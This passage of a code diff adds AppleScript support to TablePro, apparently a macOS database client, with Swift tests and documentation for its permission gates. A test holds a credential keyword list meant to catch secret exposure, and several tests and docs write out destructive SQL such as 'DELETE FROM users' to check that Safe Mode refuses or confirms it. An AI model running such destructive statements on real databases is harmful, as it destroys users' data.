#expect(ambiguous.isEmpty, "these names carry more than one code: \(ambiguous)") + } + + @Test("Every code is four characters, and every command code is eight") + func codesAreWellFormed() throws { + func check(_ element: XMLElement, isCommand: Bool) { + if let code = element.attribute(forName: "code")?.stringValue { + #expect(code.utf8.count == (isCommand ? 8 : 4), "'\(code)' is the wrong length") + } + for child in element.children ?? [] { + guard let child = child as? XMLElement else { continue } + check(child, isCommand: false) + } + } + for command in try suite().elements(forName: "command") { + #expect((command.attribute(forName: "code")?.stringValue?.utf8.count ?? 0) == 8) + for child in command.children ?? [] { + guard let child = child as? XMLElement else { continue } + check(child, isCommand: false) + } + } + for kind in ["class", "class-extension", "record-type", "enumeration"] { + for element in try suite().elements(forName: kind) { + check(element, isCommand: false) + } + } + } + + // MARK: - Results have to be shapes Cocoa can actually carry + + /// Measured against a throwaway scriptable app: a command whose `` is `any`, `item` or + /// `list` either fails with `errAEEventNotHandled` or drops the value entirely, and no + /// declaration at all drops it silently. Only a scalar, a homogeneous list of a scalar, a + /// declared class or a declared record-type survives the trip. + @Test("Every command declares a result Cocoa can coerce") + func commandResultsAreCoercible() throws { + let suite = try suite() + let declared = Set( + (suite.elements(forName: "class") + suite.elements(forName: "record-type")) + .compactMap { $0.attribute(forName: "name")?.stringValue } + ) + let scalars: Set = ["text", "integer", "real", "boolean", "date", "file", "specifier"] + let uncoercible: Set = ["any", "item", "list"] + + for command in suite.elements(forName: "command") { + let name = command.attribute(forName: "name")?.stringValue ?? "?" + let result = try #require( + command.elements(forName: "result").first, + "command '\(name)' declares no result, so its return value is discarded" + ) + let type = attribute("type", of: result) + ?? result.elements(forName: "type").first?.attribute(forName: "type")?.stringValue + let resolved = try #require(type, "command '\(name)' has an untyped result") + #expect(!uncoercible.contains(resolved), "command '\(name)' returns '\(resolved)', which never arrives") + #expect( + scalars.contains(resolved) || declared.contains(resolved), + "command '\(name)' returns '\(resolved)', which is neither a scalar nor a declared type" + ) + } + } + + /// A record property holding a plain nested list cannot be built either, which is the whole + /// reason rows are a list of `result row` records rather than a list of lists. + @Test("No record property is a bare nested list") + func recordPropertiesAvoidNestedLists() throws { + let suite = try suite() + let recordNames = Set( + suite.elements(forName: "record-type").compactMap { $0.attribute(forName: "name")?.stringValue } + ) + for record in suite.elements(forName: "record-type") { + for property in record.elements(forName: "property") { + guard let typeElement = property.elements(forName: "type").first, + typeElement.attribute(forName: "list")?.stringValue == "yes", + let type = typeElement.attribute(forName: "type")?.stringValue + else { + continue + } + #expect( + type == "text" || type == "integer" || type == "real" || type == "boolean" + || recordNames.contains(type), + "'\(type)' as a list inside a record does not survive the Apple event" + ) + } + } + } + + // MARK: - The encoder and the dictionary agree + + @Test("Every record key the encoder writes is declared in the dictionary") + func encoderKeysAreDeclared() throws { + var declared: Set = [] + for record in try suite().elements(forName: "record-type") { + for property in record.elements(forName: "property") { + declared.insert(cocoaKey(of: property)) + } + } + + for key in ScriptingKeys.QueryResult.all + ScriptingKeys.ResultRow.all { + #expect(declared.contains(key), "'\(key)' is written by the encoder but not declared") + } + } + + @Test("Every command parameter key the commands read is declared in the dictionary") + func parameterKeysAreDeclared() throws { + var declared: Set = [] + for command in try suite().elements(forName: "command") { + for parameter in command.elements(forName: "parameter") { + declared.insert(cocoaKey(of: parameter)) + } + } + + let used = [ + ScriptingKeys.Parameter.connection, + ScriptingKeys.Parameter.database, + ScriptingKeys.Parameter.schema, + ScriptingKeys.Parameter.rowLimit, + ScriptingKeys.Parameter.timeout + ] + for key in used { + #expect(declared.contains(key), "'\(key)' is read by a command but not declared") + } + } + + // MARK: - Enumerations + + @Test("Every enumerator code the app produces is declared in the dictionary") + func enumeratorCodesAreDeclared() throws { + var declared: Set = [] + for enumeration in try suite().elements(forName: "enumeration") { + for enumerator in enumeration.elements(forName: "enumerator") { + guard let code = enumerator.attribute(forName: "code")?.stringValue else { continue } + declared.insert(ScriptEnumerations.fourCharCode(code)) + } + } + + for level in SafeModeLevel.allCases { + #expect(declared.contains(ScriptEnumerations.code(for: level)), "no enumerator for \(level)") + } + for access in ExternalAccessLevel.allCases { + #expect(declared.contains(ScriptEnumerations.code(for: access)), "no enumerator for \(access)") + } + for kind in [ + TabType.query, .table, .createTable, .erDiagram, + .serverDashboard, .usersRoles, .insights, .objectSource + ] { + #expect(declared.contains(ScriptEnumerations.code(for: kind)), "no enumerator for \(kind)") + } + } + + // MARK: - Nothing secret is reachable + + /// The one rule worth a test of its own. Granting another app Automation access to TablePro must + /// not hand it the credentials TablePro holds, and the only thing standing between the two is + /// which properties this class declares. + @Test("A connection exposes no credential") + func connectionExposesNoCredential() throws { + let connectionClass = try #require( + try suite().elements(forName: "class") + .first { $0.attribute(forName: "name")?.stringValue == "connection" } + ) + let keys = connectionClass.elements(forName: "property").map { cocoaKey(of: $0) } + let names = connectionClass.elements(forName: "property") + .compactMap { $0.attribute(forName: "name")?.stringValue } + + let forbidden = ["password", "secret", "token", "passphrase", "privateKey", "credential", "key"] + for spelling in keys + names { + let lowered = spelling.lowercased() + for word in forbidden { + #expect(!lowered.contains(word.lowercased()), "'\(spelling)' looks like a credential") + } + } + } +} diff --git a/TableProTests/Core/Scripting/ScriptingPolicyTests.swift b/TableProTests/Core/Scripting/ScriptingPolicyTests.swift new file mode 100644 index 000000000..5d86c2df9 --- /dev/null +++ b/TableProTests/Core/Scripting/ScriptingPolicyTests.swift @@ -0,0 +1,152 @@ +// +// ScriptingPolicyTests.swift +// TableProTests +// +// What a script is allowed to ask for, and what it is told when the answer is no. +// + +import Foundation +@testable import TablePro +import Testing + +private actor RecordingExecutionGate: ExecutionGate { + private(set) var requests: [OperationRequest] = [] + private let decision: OperationDecision + + init(decision: OperationDecision) { + self.decision = decision + } + + func authorize(_ request: OperationRequest) async -> OperationDecision { + requests.append(request) + return decision + } + + var lastRequest: OperationRequest? { requests.last } +} + +@Suite("Scripting policy") +struct ScriptingPolicyTests { + private func authorized() -> OperationDecision { + .authorized( + OperationReceipt( + connectionId: UUID(), + kind: .writeQuery, + effectiveWrite: true, + grantedAt: Date(), + token: UUID() + ) + ) + } + + /// A script may write and may drop, but it never arrives pre-cleared: `preCleared` and + /// `confirmationPreCleared` are what would let a caller skip the Safe Mode dialog, and no + /// external caller gets to assert on its own that a person already agreed. + @Test("A scripted statement reaches the execution gate as an AppleScript caller that may be asked") + func scriptedStatementsAreNeverPreCleared() async throws { + let gate = RecordingExecutionGate(decision: authorized()) + let connectionId = UUID() + + try await ExternalStatementGate.authorizeExecution( + sql: "DELETE FROM users WHERE id = 1", + connectionId: connectionId, + databaseType: .postgresql, + caller: .appleScript(client: "Script Editor"), + capabilities: [.mayWrite, .mayRunDestructive], + operationDescription: "Script Editor wants to run a query on \"Production\"", + gate: gate + ) + + let request = try #require(await gate.lastRequest) + #expect(request.caller == .appleScript(client: "Script Editor")) + #expect(request.connectionId == connectionId) + #expect(request.capabilities.contains(.mayWrite)) + #expect(request.capabilities.contains(.mayRunDestructive)) + #expect(!request.capabilities.contains(.preCleared)) + #expect(!request.capabilities.contains(.confirmationPreCleared)) + #expect(!request.capabilities.contains(.cannotPrompt)) + } + + /// A script runs one statement, so `mayRunMultiStatement` is deliberately absent. `classify` + /// refuses several statements before this point; the capability is the second line. + @Test("A script never carries permission to run several statements at once") + func scriptsMayNotRunMultipleStatements() async throws { + let gate = RecordingExecutionGate(decision: authorized()) + + try await ExternalStatementGate.authorizeExecution( + sql: "SELECT 1", + connectionId: UUID(), + databaseType: .postgresql, + caller: .appleScript(client: nil), + capabilities: [.mayWrite, .mayRunDestructive], + operationDescription: "a query", + gate: gate + ) + + let request = try #require(await gate.lastRequest) + #expect(!request.capabilities.contains(.mayRunMultiStatement)) + } + + @Test("A denied statement throws the gate's own reason, so the script can read it") + func denialCarriesItsReason() async throws { + let gate = RecordingExecutionGate(decision: .denied(reason: "Operation cancelled by user")) + + await #expect(throws: ExternalStatementGateError.denied("Operation cancelled by user")) { + try await ExternalStatementGate.authorizeExecution( + sql: "DELETE FROM users", + connectionId: UUID(), + databaseType: .postgresql, + caller: .appleScript(client: nil), + capabilities: [.mayWrite, .mayRunDestructive], + operationDescription: "a query", + gate: gate + ) + } + } + + // MARK: - Errors a script sees + + @Test("A refusal keeps its wording, because that wording is what tells the author what to change") + func refusalsKeepTheirWording() { + let refusal = ScriptingError.from( + ExternalStatementGateError.denied("This connection is read only for external clients.") + ) + #expect(refusal.errorDescription == "This connection is read only for external clients.") + #expect(refusal.number == -10_000) + } + + @Test("A malformed request is told apart from a refusal, because the fix is different") + func malformedRequestsUseTheirOwnNumber() { + let malformed = ScriptingError.from( + ExternalStatementGateError.invalidArgument("Send one statement at a time.") + ) + #expect(malformed.number == -50) + #expect(malformed.errorDescription == "Send one statement at a time.") + } + + @Test("A missing connection is reported as no such object, which is what a script catches on") + func missingObjectsUseTheStandardNumber() { + let missing = ScriptingError.from(DatabaseAccessError.notFound("No saved connection has that id.")) + #expect(missing.number == -1_728) + #expect(missing.errorDescription == "No saved connection has that id.") + } + + @Test("A closed connection is a failure a script can act on, not a missing object") + func notConnectedIsAFailure() { + let error = ScriptingError.from(DatabaseAccessError.notConnected(UUID())) + #expect(error.number == -10_000) + #expect(error.errorDescription == String(localized: "The connection is not open. Connect it first.")) + } + + // MARK: - Limits + + /// Deliberately independent of the MCP settings, so tuning the MCP server never changes what a + /// script gets back. + @Test("Row limit and timeout have their own defaults and ceilings") + func limitsAreScriptingsOwn() { + #expect(ScriptQueryRunner.defaultRowLimit == 500) + #expect(ScriptQueryRunner.maximumRowLimit == 10_000) + #expect(ScriptQueryRunner.defaultTimeoutSeconds == 30) + #expect(ScriptQueryRunner.maximumTimeoutSeconds == 600) + } +} diff --git a/TableProTests/Core/Scripting/ScriptingVisibilityGuardTests.swift b/TableProTests/Core/Scripting/ScriptingVisibilityGuardTests.swift new file mode 100644 index 000000000..9b5758afe --- /dev/null +++ b/TableProTests/Core/Scripting/ScriptingVisibilityGuardTests.swift @@ -0,0 +1,107 @@ +// +// ScriptingVisibilityGuardTests.swift +// TableProTests +// +// A connection whose External Clients level is Blocked must be invisible to a script, and the only +// thing making it so is that every entry point checks. `connections()` filters, so anything a +// script reaches by resolving an element is safe by construction; `current tab` is not, because it +// starts from the front window. This scans the source rather than the behaviour, because the +// regression it guards is a missing call, and a behavioural test only fails once the call is +// missing from the one path the test happened to pick. +// + +import Foundation +@testable import TablePro +import Testing + +@Suite("Scripting visibility guard") +struct ScriptingVisibilityGuardTests { + private static let snapshotSource: String = { + var url = URL(fileURLWithPath: #filePath) + for _ in 0 ..< 4 { + url.deleteLastPathComponent() + } + url.appendPathComponent("TablePro/Core/Scripting/ScriptingSnapshot.swift") + return (try? String(contentsOf: url, encoding: .utf8)) ?? "" + }() + + /// Every function that takes a `connectionId` and reads live state for it. `connections()` is + /// the filter itself and `isVisibleToScripts` is the check, so neither is listed. + private static let gatedFunctions = [ + "tabs(forConnection connectionId: UUID)", + "currentTab()", + "query(ofTab tabId: UUID, connectionId: UUID)", + "focus(tab tabId: UUID, connectionId: UUID)" + ] + + private func body(ofFunctionDeclaredAs signature: String) throws -> String { + let source = Self.snapshotSource + #expect(!source.isEmpty, "ScriptingSnapshot.swift was not readable") + let start = try #require(source.range(of: "func \(signature)"), "no function declared as '\(signature)'") + + var depth = 0 + var seenOpen = false + var body = "" + for character in source[start.upperBound...] { + if character == "{" { + depth += 1 + seenOpen = true + } + if seenOpen { body.append(character) } + if character == "}" { + depth -= 1 + if depth == 0 { break } + } + } + return body + } + + @Test("Every path that reads a connection's live state checks that a script may see it") + func everyEntryPointChecksVisibility() throws { + for signature in Self.gatedFunctions { + let body = try body(ofFunctionDeclaredAs: signature) + #expect( + body.contains("isVisibleToScripts"), + "'\(signature)' reads a connection without checking isVisibleToScripts" + ) + } + } + + /// The reader is shared with the JSON serializer, so the check has to sit in front of it here + /// rather than inside it. + @Test("Reading a tab's rows checks visibility before it reaches the result reader") + func resultReadingChecksVisibilityFirst() throws { + let body = try body(ofFunctionDeclaredAs: "result(") + let check = try #require(body.range(of: "isVisibleToScripts")) + let read = try #require(body.range(of: "DisplayedResultReader.read")) + #expect(check.lowerBound < read.lowerBound, "visibility is checked after the rows are read") + } + + /// `ensureConnected` runs the connection's pre-connect shell script, so the routes that can + /// cause a connect have to ask first, the same as every route a person takes. + @Test("Every path that can cause a connect asks about the pre-connect script first") + func connectPathsAskAboutThePreConnectScript() throws { + var root = URL(fileURLWithPath: #filePath) + for _ in 0 ..< 4 { + root.deleteLastPathComponent() + } + let paths = [ + "TablePro/Core/Scripting/ScriptQueryRunner.swift", + "TablePro/Core/Scripting/Commands/ScriptConnectionCommands.swift" + ] + for path in paths { + let source = try String(contentsOf: root.appendingPathComponent(path), encoding: .utf8) + #expect( + source.contains("ScriptConnectGate.authorizeConnect"), + "\(path) can reach ensureConnected without asking about the pre-connect script" + ) + } + } + + @Test("Blocked is the only level that hides a connection from scripts") + func blockedIsTheOnlyHiddenLevel() { + let hidden = ExternalAccessLevel.allCases.filter { $0 == .blocked } + #expect(hidden == [.blocked]) + #expect(ExternalAccessLevel.allCases.count == 3) + } +} diff --git a/TableProTests/Core/Utilities/DisplayedResultReaderTests.swift b/TableProTests/Core/Utilities/DisplayedResultReaderTests.swift new file mode 100644 index 000000000..6b710b526 --- /dev/null +++ b/TableProTests/Core/Utilities/DisplayedResultReaderTests.swift @@ -0,0 +1,106 @@ +// +// DisplayedResultReaderTests.swift +// TableProTests +// +// Reading a result outside the grid gets the same three questions wrong in the same three ways +// every time: a display position is not a storage index once a value filter is on, hidden and +// reordered columns are the reader's business too, and a row marked for deletion is in the buffer +// but not in the result. `ResultJsonSerializer` had these pinned for JSON; they now belong to the +// reader both it and AppleScript go through. +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@Suite("DisplayedResultReader") +struct DisplayedResultReaderTests { + private func makeTableRows() -> TableRows { + let rows: ContiguousArray = [ + Row(id: .existing(0), values: [.text("a"), .text("1")]), + Row(id: .existing(1), values: [.text("b"), .text("2")]), + Row(id: .existing(2), values: [.text("c"), .text("3")]) + ] + return TableRows( + rows: rows, + columns: ["name", "count"], + columnTypes: [.text(rawType: nil), .text(rawType: nil)] + ) + } + + private func read( + displayIDs: [RowID]? = nil, + selected: Set = [], + deleted: Set = [], + columns: VisibleColumnProjection = .identity + ) -> DisplayedResultReader.Output { + DisplayedResultReader.read( + tableRows: makeTableRows(), + displayIDs: displayIDs, + selectedDisplayIndices: selected, + deletedDisplayIndices: deleted, + columns: columns + ) + } + + private func texts(_ output: DisplayedResultReader.Output) -> [[String]] { + output.rows.map { row in row.map(ScriptResultEncoder.text(of:)) } + } + + @Test("An empty selection reads every displayed row") + func emptySelectionReadsEverything() { + let output = read() + + #expect(output.columns == ["name", "count"]) + #expect(texts(output) == [["a", "1"], ["b", "2"], ["c", "3"]]) + #expect(output.skippedDeletedCount == 0) + } + + @Test("A selection reads only those rows, in display order") + func selectionReadsOnlyThoseRows() { + let output = read(selected: [2, 0]) + + #expect(texts(output) == [["a", "1"], ["c", "3"]]) + } + + /// The invariant a per-column value filter breaks: `GridSelectionState.indices` are positions on + /// screen, and once `displayIDs` reorders or narrows the rows they stop matching array indices. + @Test("A selected index is a display position, not a storage index") + func selectionIndicesAreDisplayPositions() { + let output = read(displayIDs: [.existing(2), .existing(0)], selected: [0]) + + #expect(texts(output) == [["c", "3"]]) + } + + @Test("A filtered-out row is not readable at all") + func filteredRowsAreInvisible() { + let output = read(displayIDs: [.existing(1)]) + + #expect(texts(output) == [["b", "2"]]) + } + + @Test("A row marked for deletion is left out and counted") + func deletedRowsAreSkipped() { + let output = read(deleted: [1]) + + #expect(texts(output) == [["a", "1"], ["c", "3"]]) + #expect(output.skippedDeletedCount == 1) + } + + @Test("Hidden and reordered columns follow the grid") + func columnProjectionIsApplied() { + let output = read(columns: VisibleColumnProjection(indices: [1])) + + #expect(output.columns == ["count"]) + #expect(texts(output) == [["1"], ["2"], ["3"]]) + } + + @Test("A display position that no longer exists is dropped rather than trapping") + func outOfRangePositionsAreDropped() { + let output = read(selected: [0, 99]) + + #expect(texts(output) == [["a", "1"]]) + } +} diff --git a/TableProTests/Models/QueryHistorySourceTests.swift b/TableProTests/Models/QueryHistorySourceTests.swift index 53c4c3c89..09a57eb39 100644 --- a/TableProTests/Models/QueryHistorySourceTests.swift +++ b/TableProTests/Models/QueryHistorySourceTests.swift @@ -128,4 +128,22 @@ struct HistoryDateRangeTests { #expect(month < week) #expect(week < hour) } + + /// A stored filter that was "Everything" before `script` existed must not start hiding it. + @Test("The previous all-sources selection widens to include the new source") + func everythingMigratesToIncludeScript() { + let before: Set = [ + .editor, .explain, .tableBrowse, .rowEdit, .structureDDL, .dataImport, .mcp + ] + #expect(QueryHistorySource.migratingStoredSelection(before) == Set(QueryHistorySource.allCases)) + } + + @Test("A custom selection is left exactly as the user set it") + func customSelectionIsUntouched() { + let custom: Set = [.editor, .mcp] + #expect(QueryHistorySource.migratingStoredSelection(custom) == custom) + + let userAuthored = QueryHistorySource.userAuthored + #expect(QueryHistorySource.migratingStoredSelection(userAuthored) == userAuthored) + } } diff --git a/docs/connections/connection-form.mdx b/docs/connections/connection-form.mdx index 7312d4fbf..ff7fe2554 100644 --- a/docs/connections/connection-form.mdx +++ b/docs/connections/connection-form.mdx @@ -48,7 +48,7 @@ SQLite, DuckDB, and Beancount replace the host section with a file path picker. | **Startup Commands** | SQL to run after every connect. See [Startup commands](#startup-commands) | | **Pre-Connect Script** | Shell script run before connecting. A non-zero exit aborts the connect | | **AI Policy** | Per-connection override for the in-app AI agents | -| **External Clients** | **Blocked**, **Read Only** (the default), or **Read & Write** for MCP clients such as Raycast, Cursor, and Claude Desktop. A token's own scope cannot raise it. See [External API](/external-api) | +| **External Clients** | **Blocked**, **Read Only** (the default), or **Read & Write** for MCP clients such as Raycast, Cursor, and Claude Desktop, and for [AppleScript](/external-api/applescript). A token's own scope cannot raise it. See [External API](/external-api) | | **Local only** | Keeps this connection off iCloud Sync. See [iCloud Sync](/features/icloud-sync) | | Plugin fields | Driver-specific options, such as MongoDB's `replicaSet` | diff --git a/docs/customization/notifications.mdx b/docs/customization/notifications.mdx index 15235f989..b9c39b353 100644 --- a/docs/customization/notifications.mdx +++ b/docs/customization/notifications.mdx @@ -26,6 +26,7 @@ You only get told when the result is somewhere you are not. That means TablePro | **Backups** | On | Database dumps | | **Fetch all rows** | On | Loading every row of a truncated result | | **AI and MCP queries** | On | Queries an AI assistant or MCP client runs | +| **AppleScript queries** | On | Queries [a script](/external-api/applescript) runs | Keep **Only after** below the [query timeout](/customization/general-settings#query-timeout), or a query that times out finishes before its notification is due. diff --git a/docs/docs.json b/docs/docs.json index 003e329ed..c70cf48c0 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -296,6 +296,7 @@ "group": "Drive the app", "pages": [ "external-api/url-scheme", + "external-api/applescript", "external-api/connection-import", "external-api/terminal", "external-api/raycast", diff --git a/docs/external-api/applescript.mdx b/docs/external-api/applescript.mdx new file mode 100644 index 000000000..b703e467a --- /dev/null +++ b/docs/external-api/applescript.mdx @@ -0,0 +1,201 @@ +--- +title: AppleScript +description: Scripting dictionary for connections, tabs, results and queries, with the gates a script has to clear +--- + +A script is an external client with no token, so what it may do is decided by the connection's +**External Clients** level and by [Safe Mode](/features/safe-mode). The first time a script targets +TablePro, macOS asks the sending app for Automation permission. + +Script Editor lists TablePro under Open Dictionary in its File menu. + +```applescript +tell application "TablePro" + set result to run query "SELECT id, email FROM users LIMIT 5" in connection "Production" + columns of result --> {"id", "email"} + row count of result --> 5 + values of item 1 of rows of result --> {"1", "ada@example.com"} +end tell +``` + +## What a script may do + +| Level on the connection | A script may | +|---|---| +| Blocked | Nothing. The connection is not in `connections` at all | +| Read only | Read. Any statement that is not a read is refused | +| Read & Write | Read and write, subject to Safe Mode | + +Read Only is the default and the right level for most connections: reporting and export scripts +need nothing more. Raise a connection to Read & Write in its **Advanced** pane only when a script has +to write to it. + +Read & Write is not a way past Safe Mode. A statement that drops or truncates always raises a +confirmation naming the app that sent it, whatever the level says, and Safe Mode's authentication +step still runs. + +Automation permission is granted per sending app, not per connection. Granting Terminal control of +TablePro lets any script run from Terminal read every connection that is not Blocked. Revoke it in +**System Settings > Privacy & Security > Automation**. + +Every scripted statement is written to the history drawer under **AppleScript**, and to the +execution audit log. + +## Objects + +```text +application +└── connection + └── tab +``` + +`connections` lists every saved connection whose **External Clients** level is not Blocked, sorted +by name. Reach one by name or by id. + +```applescript +tell application "TablePro" + name of every connection + connection id "9f1f0c3e-2e3d-4b14-9c3a-1d2f4ad1f6f1" + every connection whose connected is true +end tell +``` + +### connection + +| Property | Type | | +|---|---|---| +| `id` | text | Stable. The same UUID the URL scheme takes | +| `name` | text | | +| `database type` | text | `PostgreSQL`, `MySQL`, and the rest | +| `host`, `port` | text, integer | | +| `current database` | text | The database in use, not the saved one | +| `current schema` | text | On engines that have schemas | +| `connected` | boolean | | +| `safe mode` | enumeration | `silent`, `alert`, `alert full`, `authenticate`, `authenticate full`, `read only` | +| `external access` | enumeration | `blocked`, `read only`, `read write` | + +No credential is reachable from a script, and neither is the account name. Every property is read only. + +### tab + +| Property | Type | | +|---|---|---| +| `id`, `name` | text | | +| `kind` | enumeration | `query editor`, `table`, `create table`, `diagram`, `server dashboard`, `users and roles`, `query insights`, `object source` | +| `table name`, `database name`, `schema name` | text | | +| `query` | text | The SQL of a query tab | +| `current result` | query result | The rows the tab is showing | +| `selection` | query result | The rows selected in its grid | + +`current tab` and `current connection` on the application are the front window's. + +Every property is read only. To put SQL in front of someone, use the URL scheme's +[query link](/external-api/url-scheme#run-a-query), which shows them the statement first. + +### query result + +A record. Assign it to a variable and the rows stay with it. + +| Property | Type | | +|---|---|---| +| `columns` | list of text | | +| `rows` | list of result row | Each holds `values`, a list of text | +| `row count` | integer | | +| `rows affected` | integer | | +| `truncated` | boolean | True when `row limit` cut the result short | +| `execution time` | real | Milliseconds | +| `status message` | text | What the server said, when it said anything | + +A cell is always text. NULL is the empty string, and binary is Base64. + +## Commands + +### run query + +```applescript +run query "SELECT 1" in connection "Production" ¬ + database "analytics" schema "public" row limit 1000 timeout 60 +``` + +Runs one statement and returns a `query result`. No window opens and no tab is disturbed; the +connection opens first if it is closed, which can prompt for a password. + +`row limit` defaults to 500 and caps at 10000. `timeout` defaults to 30 seconds and caps at 600. +Several statements in one call are refused, as are statements that read files or run server-side +code. + +AppleScript gives up on any command after two minutes. Wrap a long query in +`with timeout of 300 seconds`. + +### open table + +```applescript +tell application "TablePro" + set t to open table "orders" in connection "Production" schema "public" + row count of current result of t +end tell +``` + +Opens the table in a tab and brings it forward, reusing a tab that already shows it. Returns the +tab. + +### connect, disconnect, show + +```applescript +tell application "TablePro" + connect connection "Production" + show connection "Production" + disconnect connection "Production" +end tell +``` + +`connect` opens the session without opening a window. `show` brings the connection's window +forward, opening one if it has none. + +### focus + +```applescript +tell application "TablePro" + focus tab 1 of connection "Production" +end tell +``` + +## Read the grid + +`selection` reads what is selected in the tab's grid, in display order, with hidden columns left out +and the filter bar applied. An empty selection reads as zero rows; `current result` reads them all. + +```applescript +tell application "TablePro" + set picked to selection of current tab + repeat with r in rows of picked + log item 1 of values of r + end repeat +end tell +``` + +## Errors + +A refusal is an ordinary AppleScript error carrying the reason. + +```applescript +try + tell application "TablePro" + run query "DELETE FROM users" in connection "Production" + end tell +on error message number code + message --> "This connection is read only for external clients." +end try +``` + +| Number | | +|---|---| +| `-1728` | No connection or tab by that name or id | +| `-50` | The request is malformed: several statements in one call, or no database to run against | +| `-10000` | Refused by Safe Mode or by **External Clients**, or cancelled at the confirmation | + +## Related + +- [URL scheme](/external-api/url-scheme) drives the GUI and returns nothing +- [MCP tools](/external-api/mcp-tools) cover schema, export and server work a script cannot reach +- [Safe Mode](/features/safe-mode) is the gate in front of every write diff --git a/docs/external-api/index.mdx b/docs/external-api/index.mdx index 2b565ab63..54386d281 100644 --- a/docs/external-api/index.mdx +++ b/docs/external-api/index.mdx @@ -1,15 +1,19 @@ --- title: External API -description: URL scheme, MCP server, pairing flow, terminal, and iOS Shortcuts for driving TablePro from other apps +description: URL scheme, AppleScript, MCP server, pairing flow, terminal, and iOS Shortcuts for driving TablePro from other apps --- -Deep links drive the GUI. MCP moves data. That one split decides which page you need, and pairing is -the step in front of MCP that gets a client its token. +Deep links drive the GUI. MCP moves data. AppleScript does both and hands the answer back to the +script that asked. That split decides which page you need, and pairing is the step in front of MCP +that gets a client its token. - + `tablepro://` deep links open connections, tables, and queries in the GUI. + + A scripting dictionary for connections, tabs, results and queries. + JSON-RPC tools, resources and prompts for AI clients, over stdio or local HTTP. @@ -43,6 +47,10 @@ allowed only where the token's scope, the token's connection allowlist, and the the connection outright, and [Safe Mode](/features/safe-mode) still holds destructive statements behind a confirmation. +AppleScript has no token. macOS asks the sending app for Automation permission instead, and the +connection's **External Clients** level and Safe Mode apply exactly as they do over MCP. The AI +policy does not: it governs the assistant, not other apps. + Each request lands in the activity log with the token behind it, and a statement is stored as a SHA-256 digest rather than as text. Open **Settings > Integrations** and click **View Activity** to read it. diff --git a/docs/features/query-history.mdx b/docs/features/query-history.mdx index c02b8fa50..9bb5052fa 100644 --- a/docs/features/query-history.mdx +++ b/docs/features/query-history.mdx @@ -47,6 +47,7 @@ Search matches partial words, so `cust` finds `customers`. Several words must al | Structure Changes | DDL from the structure editor, triggers, and user management | | Imports | Import runs | | AI and MCP | Queries run by an AI assistant or an MCP client | +| AppleScript | Queries run by [a script](/external-api/applescript) | **My Queries**, the default, is Editor and Explain. Add **Table Browsing** to see what the app sent while you clicked around a table, **Structure Changes** to review what altered a schema and when.